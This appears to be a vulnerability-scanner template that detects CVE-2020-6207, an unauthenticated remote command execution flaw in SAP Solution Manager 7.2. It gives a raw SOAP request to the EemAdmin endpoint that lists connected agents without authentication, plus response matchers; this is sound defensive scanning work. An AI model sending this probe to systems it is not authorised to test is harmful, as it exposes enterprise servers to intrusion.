SAP Solution Manager 7.2 - Remote Command Execution

id: CVE-2020-6207

info:
  name: SAP Solution Manager 7.2 - Remote Command Execution
  author: _generic_human_
  severity: critical
  description: SAP Solution Manager (SolMan) running version 7.2 has a remote command execution vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Apply the latest security patches provided by SAP to mitigate this vulnerability.
  reference:
    - https://launchpad.support.sap.com/#/notes/2890213
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=540935305
    - https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
    - https://github.com/chipik/SAP_EEM_CVE-2020-6207
    - https://www.rapid7.com/db/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce/
    - https://www.rapid7.com/db/modules/exploit/multi/sap/cve_2020_6207_solman_rs/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6207
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-6207
    cwe-id: CWE-306
    epss-score: 0.98376
    epss-percentile: 0.99911
    cpe: cpe:2.3:a:sap:solution_manager:7.20:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: solution_manager
  tags: cve2020,cve,sap,solman,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /EemAdminService/EemAdmin HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ":Envelope"
          - ":Body"
          - ":getAllAgentInfoResponse"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "SAP NetWeaver Application Server"
        condition: and

      - type: status
        status:
          - 200
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